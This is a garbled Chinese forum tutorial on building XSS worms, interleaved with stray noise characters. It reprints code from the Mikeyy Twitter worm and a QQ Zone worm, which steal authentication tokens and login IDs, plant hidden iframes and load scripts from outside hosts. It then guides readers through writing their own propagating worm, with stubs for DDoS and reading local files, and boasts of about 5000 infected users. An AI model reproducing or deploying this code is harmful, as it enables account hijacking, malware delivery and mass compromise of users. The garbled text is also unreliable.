2 L+ P: f2 P" a7 Y6 w  R. I) S
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
, a& x4 k/ h2 }4 G5 X复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
) L! d) K0 {0 d4 Y
( _1 M  e. s% c) m. ^4 Q$ z+ M7 \: Y6 天前 08:27
: a- c0 M2 q1 Y) B6 V$ _/ q
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
% a% v' F9 s1 M6 @! \9 s
   2.   

   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
# x" o" k3 D4 }. X* k- E% C9 D" N
: p6 A( Z4 C7 N9 h   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
3 I, r: b* A+ Y
   3.   var tmp_cookie=document.cookie;  
: c0 u- o. X$ Z4 J- h* q6 _. J0 Y
% l) v2 _3 y; n4 P5 x   4.   var tmp_posted=tmp_cookie.match(/posted/);  

' ~5 l& o. S8 E0 \; J9 y" D   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
- G- j  w, h! P
6 e+ v5 G+ T7 g* B   6.   var authtoken=authreg.exec(content);  
- e, C7 _2 u/ B9 O' ~% p/ B, u1 A
   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
* r" M3 [8 M8 b, @8 t
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

# d, J! v7 _$ O9 d! z8 a9 g  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
( _. N; W$ j! P  {; r; T2 W
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
: h( i" ^! J! C( ]
' \% q' \4 {$ d" ~" _  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

2 |* B4 v/ I8 g' ]  b1 C  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
9 S' p! T: L& z- [. ^
) S/ E8 [7 t; T4 J/ _9 L' i  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
# ]& v/ O1 E8 j# _  V* h, b
& n) b& |# w$ j, }2 S% ^3 N: b  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

# d5 f% F. V: n! J7 l# p  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

9 ?5 z# O' ~& f9 a  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

* h- P  k0 B6 w* x' n- q5 ?; \. c% b  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

& I) P; Z) j4 j3 h. p  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
+ }8 L& O. ?- g& C9 j% |0 Y8 q
! W+ k* ?: P/ H  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

; C" _3 y, K8 H7 {& q  24.     
: P  V8 i9 g! e
: c. V( V5 p6 |8 t4 U5 S  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
: k& A) E, W: d# C
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

+ S- s% o: ~  r6 ^: c3 r( [, l# ~* g" n  28.   var ajaxConn= new XHConn();  

& k1 ~' F6 K& [; ?  R# n2 \  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
/ f4 o3 i, }. C# s( l' ~, `  R3 D
. q% c  Z/ d, x' j9 G' K8 Y  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

7 O. T8 p+ C( B; b9 q$ {  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

/ u' U5 Y: C/ C5 [  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
1 j5 `1 T' ~- s: y0 \5 L
  38.     
' r2 j$ ^+ S2 s5 Z& M; f
  39. } ;  

6 q) E, e& c8 K5 ^8 P( M  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
1 K* s6 x4 q! V- Q  b& e
; G: j9 D9 D6 k' Y* A6 F8 Awindow.onerror=killErrors;



var shendu;shendu=4;
( W5 D5 \% c" f( F. s
//---------------global---v------------------------------------------
6 f4 y$ \. B& @5 I/ R
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
; H( x. q9 g5 k2 G3 }4 g
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

/ @' ]+ O+ @2 X( [var myblogurl=new Array();var myblogid=new Array();
6 x4 f0 n3 p4 Q& V2 f
) s3 S" g6 p( ]1 ]. X' R6 b6 Y5 U  e. Y        var gurl=document.location.href;

3 J, v# `8 E" I6 C& W        var gurle=gurl.indexOf("com/");
& }8 X; h- b; N
        gurl=gurl.substring(0,gurle+3);        
& Z( D4 u8 w5 f0 V0 P
        var visitorID=top.document.documentElement.outerHTML;
1 ~3 F1 U* H' X
. a! ?, U4 d$ C5 q; g; E; q& ^           var cookieS=visitorID.indexOf("g_iLoginUin = ");
, Y9 G% d" n# a1 }. G
& m# F) [9 G# g: G( ^- J; K        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
+ K" a: c$ p( [4 w
6 ?: v1 C2 V! T* |8 Y2 Y        visitorID=visitorID.substring(0,cookieS);

/ p; b6 N# l" O        get_my_blog(visitorID);
6 V/ r8 w; B% Z+ g1 l* t( r3 m* G9 G
1 X4 Y0 a& P% F$ c7 g8 p        DOshuamy();

2 x" J$ e" j6 [6 g* ^" R9 q
& b7 q  M) t0 n4 a- q1 {8 y" ?
/ @" l4 w9 o/ n- E//挂马

. p, l( V$ u7 l8 a- Ofunction DOshuamy(){
3 P0 j/ I3 X3 A5 @1 O. ]
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}

3 F* ?/ H3 o  U
1 k, I. k% n1 g
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
' W% Z! o0 {- ^8 W
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
* \, R/ I) j3 `3 p6 p
& ^" e" \5 m! {# N( _0 j     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

' Y- v4 ]; l4 V    }
8 S7 l, ]$ G! N
5 X+ T% ?) I) K3 q1 y}
* N" j% N" O5 b$ d8 n) }, n& Y0 W/ r
' f  {5 [  @/ b

( v$ ^$ n5 {3 A7 u% _, G//这里似乎是判断没有登录的

# i! n' _+ n7 S6 V: A" W1 sfunction get_my_blogurl(guest){

. K& a; s5 F, ~& G3 J& Z7 B: A  var mybloglist=guest;
0 h4 w) H/ G& T8 M7 {( w5 J% _
) ]# C3 `  j# N  var myurls;var blogids;var blogide;
! x3 z& p  p* D8 Y
  for(i=0;i<shendu;i++){

" u- K5 a" l$ Q8 c     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
. W6 u% z8 o/ ?% S* ^8 h/ h
# g) b5 t# A- x4 g     if(myurls!=-1){    //找到了就执行下面的
6 Q* p4 d0 c% z/ T! w
         mybloglist=mybloglist.substring(myurls+11);
' r+ N& T4 m: D3 S' ^
# w9 z1 Z% H( \$ f5 j6 \         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

; X) ~  d# Y$ n        }else{break;}
0 o' I7 P1 B0 T+ k9 v: x- p
7 T' l# _2 ~6 A/ X' P}
% a. W/ r/ g4 A4 P
get_my_testself();    //执行这个函数
* D4 K- ^# l: I( L
+ l! c) P7 ^  v6 Q: w}



8 }, ^5 U; a! K//这里往哪跳就不知道了

- L2 U& f2 R8 c4 J' kfunction get_my_testself(){

$ _1 y* ~: _: O& Q; b  for(i=0;i<myblogid.length;i++){    //获得blogid的值

4 R; Y/ U7 E1 f" X/ s      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

5 `; C$ @8 ?1 Q9 G  U% z      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
$ X$ R$ l6 m/ F$ Z3 v7 X) J1 |& Z
2 a, W/ b& h4 [* Q# C      if(xhr2){        //如果成功
# x: |0 H! q6 `0 X% H( Q2 L' H+ C
1 E- P9 J* d0 d6 K* T              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
# v" E/ F* H/ G2 F
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
' a  }* L! w) u2 w
                targetblogurlid=myblogid;   
; z% s* T8 e0 q! j) [
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

. _1 N9 L7 J' z8 @                break;

               }
+ o/ X% b4 W6 p+ @+ V
              if(mycheckit=="-1"){
; G; S/ \, \+ }0 M
( v& Z, Y$ d, e; ~$ ]2 W2 W; P3 l                targetblogurlid=myblogid;
: P1 `0 c- G2 K
                add_js(visitorID,targetblogurlid,gurl);    //执行它
! A; d* X: o7 ?# u6 w
                break;
0 s! J# f3 J4 }1 [
4 ^9 Y( E% \) o& _/ B- w8 _               }

6 `; N9 b3 n- ^  O( c2 U        }      

}

}
0 K# U) k, z2 R9 e1 k


/ ~5 B4 s/ \  \, Z//--------------------------------------  
( Z' ^$ H6 i8 A% y4 m0 t
//根据浏览器创建一个XMLHttpRequest对象
6 ^9 w5 V" B4 t0 \( \
2 n2 |& d3 o9 a! h7 ]) afunction createXMLHttpRequest(){

: C2 y! k+ Y4 i    var XMLhttpObject=null;  

4 l* R0 \5 d7 L1 x8 |* x. X    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
. V# B9 b8 _5 Y5 K! ^
    else  
3 @2 }' c5 Z) `" [4 `( f  J8 A6 s2 Q
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

" k9 e5 Z. z; _: a5 H/ Y: J        for(var i=0;i<MSXML.length;i++)  
% S( o0 J  G- l! ?: O9 v. k
& }' \* X& F5 S, q) ^" |$ ]        {  

            try  
3 D& V( f4 o$ I& F6 Z
            {  

2 j8 z) m+ }. V& T7 Q                XMLhttpObject=new ActiveXObject(MSXML);  
9 u) `3 L1 d- G, {
( f/ _7 Z; G. Z; H. z% U) f                break;  

            }  

8 T; w1 Y! z; G5 X" U3 f            catch (ex) {  
6 V  {: ?5 N5 }; @' G" G
            }  

         }  
$ ^: k- y% M  K
* {) Q/ J  L: D      }
' Q( O4 J/ g  `  o; a4 E  ]
4 D+ |; c( h; Y$ k% dreturn XMLhttpObject;

( v" Y6 P$ J' K0 b$ Z" d  [0 }! \}  
0 t/ x+ s6 z8 o/ m  h/ \$ i


//这里就是感染部分了

+ {. \5 v! f" yfunction add_js(visitorID,targetblogurlid,gurl){

  J# b" _2 |2 I. O3 x2 Fvar s2=document.createElement('script');
$ n* R& g8 l* D3 b! k
5 J$ {/ y! }8 D; Os2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

# K: e& V7 }. S2 p* w+ Qs2.type='text/javascript';
" v7 _% L+ x) Z5 a  }' k  l, w
document.getElementsByTagName('head').item(0).appendChild(s2);
& ~8 B$ V& ?6 B/ j' r+ F: z
}

3 h! D5 v" ^# }! L
7 v; X7 I9 {: K# s* h& t
function add_jsdel(visitorID,targetblogurlid,gurl){
. \, @8 K4 u( {$ x
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
8 t- s7 d2 `1 E3 H% t- K
3 Z/ U! n* ]; i9 R, \9 Ys2.type='text/javascript';
- S' H3 ?3 b; w5 s: r2 ?9 x8 {: j: o
, b, ?4 e" T; m" q( ]5 P8 Y: b" |" ?document.getElementsByTagName('head').item(0).appendChild(s2);
! R# ^7 I; H* K- |2 ], O4 ?
}
9 c& L. v8 e" Z- ]5 ~6 W" c1 l复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
. M! E8 f( m. X: _1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
4 J. b5 g) o: ~
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
8 u% P; x& v$ d
( @5 j2 R% U6 b3 `- J
" O+ F" u; G4 D( S6 l% m下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
& [8 o1 i: k  k/ u/ |, n
首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
  f# V8 r  C% M6 l( K
+ ]# `6 \1 i; y* ^6 @. arequest = new XMLHttpRequest();
$ m# a! f5 e. r* i
8 M$ |6 @, i8 J1 Y! |1 T0 x) x  Mif(request.overrideMimeType) {
8 Q2 _! D7 u0 n
  |, E2 k9 J9 Lrequest.overrideMimeType('text/xml');
0 n; `$ h1 l7 \6 V) }9 x* Z& t# U
}
3 H( e+ Z! I3 i3 S
( h% S  ?( x: S0 E7 P: G4 g} else if(window.ActiveXObject) {
$ b8 p( y4 N% F7 C8 U) h. A
& p8 W: a7 z' a) bvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 W( a+ Y' u4 W% K9 ?+ Z1 J
: l- J3 u5 A, c7 |7 q# Cfor(var i=0; i<versions.length; i++) {

try {
& s- e& {5 P( ?2 k
request = new ActiveXObject(versions);

. ]% h3 z" C4 u- X) w- Z0 @} catch(e) {}

0 o9 x3 q" s4 }" h' X}

  k+ S# [8 X8 A# \}

xmlHttpReq=request;
4 c' B! F+ Z$ p复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

! K6 u0 {  H# i" o        var Browser_Agent=navigator.userAgent;
% y. i' Z2 c7 j8 ]
        

$ _$ t9 d" L* \2 A1 J7 v: X5 A5 T        var Actual_Version,Actual_Name;
# H. p) X: O& B, U7 |
        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

  G, H) y& M/ r) T. v, s: C        var is_NN=(Browser_Name=="Netscape");

$ L  d. k7 \( L  g5 d        var is_Ch=(Browser_Name=="Chrome");

        
' o; W6 r. l3 S- Y* I
        if(is_NN){

8 P3 ~: ?+ K# _% S            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

1 n2 G7 Q0 t, E; G9 o# J7 g                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

9 f. r9 u3 N4 Y4 L6 W% ~
2 T) ~3 @( x# P8 z6 ^5 D
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
! _& |2 E4 w$ C6 b' h8 f
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

            else{

                Actual_Version=Browser_Version;
8 f5 H8 P* f; [  B3 ]/ E4 I' M1 g
* u5 U& j3 I, D: @+ `, z                Actual_Name=Browser_Name;
0 P8 K3 O9 y' C
            }

$ W0 H  x' \3 J$ }% d1 U        }

5 F: o# m$ r) y2 P5 Y' }  R9 u        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
) n, G9 ]2 D' }+ b+ w$ I
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

8 E6 q- j! i+ p7 F            Actual_Name=Browser_Name;
# L. X* l; |* s+ [
            
; f4 \2 ~+ \+ P. y0 T$ b# M. ^
            if(Browser_Agent.indexOf("Maxthon")!=-1){
/ e5 J4 `1 z" F" z
+ g1 ~; I. T2 O                Actual_Name+="(Maxthon)";
" w- I6 v" X1 v8 W6 V" `$ Q
            }

$ m1 @3 e1 u; r) |3 s8 z( \            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

" t& f# \- N4 H6 X  r                var tempstart=Browser_Agent.indexOf("Opera");
- Y0 O% k% O# I. c/ K) q
9 s4 p  t; y- i1 v- S) e- w/ D1 O0 G                var tempend=Browser_Agent.length;
! F+ P4 H4 d1 x. w8 l0 V; B
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

0 k' `: Q( ?4 K; u9 i4 ^$ u            }

( N1 |+ ~6 l) M* A        }

        else if(is_Ch){
. w0 L! B2 L) B+ ~# j
            var Version_Start=Browser_Agent.indexOf("Chrome");

& G, j# v4 E, B+ k- R5 C4 f            var Version_End=Browser_Agent.indexOf(";",Version_Start);
1 [8 F3 p* t' t5 W- B, [# X3 S; K* [! G
7 G1 k# W% v8 G; `+ c            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
8 m; l" Q8 q+ x* ~5 n+ Q! Q
            Actual_Name=Browser_Name;

3 q6 Y$ S/ J& W8 G' J( e            

' J" C, _5 y) F: {6 [% u            if(Browser_Agent.indexOf("Maxthon")!=-1){

' q! D6 p8 f& K' f+ F4 l+ p                Actual_Name+="(Maxthon)";
% _3 c3 E8 W' O
- q! }$ x" j9 i! C2 M: b            }
2 F0 N% `/ P0 `: n- |1 v
! G' f/ P- c' i0 r5 o8 o4 \% {3 l            else if(Browser_Agent.indexOf("Opera")!=-1){
5 F9 K# ]; e4 k/ q! `6 N/ |  j9 F
                Actual_Name="Opera";
7 J, G9 A0 e+ V4 n
                var tempstart=Browser_Agent.indexOf("Opera");
4 T  O/ T0 c' o  h- w7 s- t, s& }
9 M, [# j' K* N9 q/ C0 q; s& f                var tempend=Browser_Agent.length;
& W/ q1 ~+ E, Z: J% {2 w* `" n
5 B+ ^8 Y% @1 E( j/ a0 x                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& Q. \, R* M+ g" t% i
            }
) X! Z8 I( j; Z3 `! F
        }

        else{

            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

        }
# G  S) Y- {/ D' u

$ E3 I* g# e; E' e! a+ ]/ v
        navigator.Actual_Name=Actual_Name;
' x# L9 ~: j; J2 O- i2 P* k
& Q7 B8 j' h# n/ X0 l        navigator.Actual_Version=Actual_Version;

        

- L: V  s& D+ d0 @" l  V& a+ M        this.Name=Actual_Name;
4 ]# i" |( T5 |! }- a
9 y5 ~* _/ H7 m, T0 m        this.Version=Actual_Version;

  w7 v9 R" F) U+ l; U& Y+ v    }

    browserinfo();

* C( d7 }) s3 V, Z, m8 v    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
' i* {/ f% k  v
! I5 E( Z. v7 G  U# ^    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

! u& T2 @) l* X) d. [    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
, I$ Z2 }" Z- ]0 p9 _0 R# l7 a8 e复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
  t. z" u5 Y& R5 X  @- k
xmlHttpReq.send(null);
3 |- E8 Y1 J! s1 T* G' K. t
3 A/ e! _) G- s6 ?& C$ Uvar resource = xmlHttpReq.responseText;
+ a$ t3 i+ k" M! k8 Z; E) }8 {
var id=0;var result;
9 f0 Z- d2 [$ b! p9 S
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
- ], {. L1 L7 H
$ O: }& q* a! I" l7 w" Awhile ((result = patt.exec(resource)) != null)  {

id++;
$ i! k. b# A# |  P6 q
. K  \$ C3 {& _* K0 U) R, D}
, d( c! N9 s+ ~5 z" ]( X4 U) y. k复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

- Z& W4 f5 X2 m! \0 @/ f+ Pno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
3 p, e$ F- y% v& [
$ h& M6 }# `. Hvar post="wd="+wd;

2 i2 l6 ^  Y/ P& ^6 O! g3 l! _xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

, I" m8 r2 d9 t+ d4 Q6 f9 ZxmlHttpReq.setRequestHeader("content-length",post.length);

" ]; j" ?" l! ]) r: U  y* f9 a" WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

- O9 G: o+ l3 O3 HxmlHttpReq.send(post);

+ N; m  \/ k9 \}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

( x: w1 ^( c+ q) o* w9 C. q; `$ d4 `var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;

4 Q) Y: h3 _6 H( I1 k# IxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
* A$ l2 U' G0 ^/ r+ n
2 y6 j% ~6 M. D* O0 `xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
/ I5 [& |% y( q3 c
: h( H- C$ U3 s2 oxmlHttpReq.setRequestHeader("content-length",post.length);

/ W: g- _( ~5 r5 T) u/ q: D' HxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

! I, f- F; E: C; O4 N; y# e+ W- FxmlHttpReq.send(post);                 //把传播的信息 POST出去.

) A* ]& P4 Z" k}
  u6 i' U! O8 T' {: R# }2 C复制代码-----------------------------------------------------总结-------------------------------------------------------------------
4 c$ a3 V3 I  x2 \
4 W% I# ~9 @0 I* [, o4 V. J
/ z: W0 K2 g+ F4 c
4 v( J- h  ?9 X本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
9 ~2 f/ J- T1 y  j蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


8 r- L9 e( k3 ]1 H+ k  l1 E0 O7 K

+ O0 L/ t  l: g. E' J

5 o) N  I( g; p# t' o& K9 k; k

8 b3 [0 D" _' N2 S. Q本文引用文档资料:

+ V5 t8 R- n" n6 |5 C5 u8 w/ k8 d$ J"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
; u, F5 [3 n1 ^/ }  G! C% B"Cross Site Tracing" (Jeremiah Grossman, January 2003)
6 p) U+ K8 m% O# _* q$ ~) @, k" @8 Vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
& x) E" ^. N) m' q' z8 ^空虚浪子心BLOG http://www.inbreak.net
% s$ `; ^0 l% `) P5 KXeye Team http://xeye.us/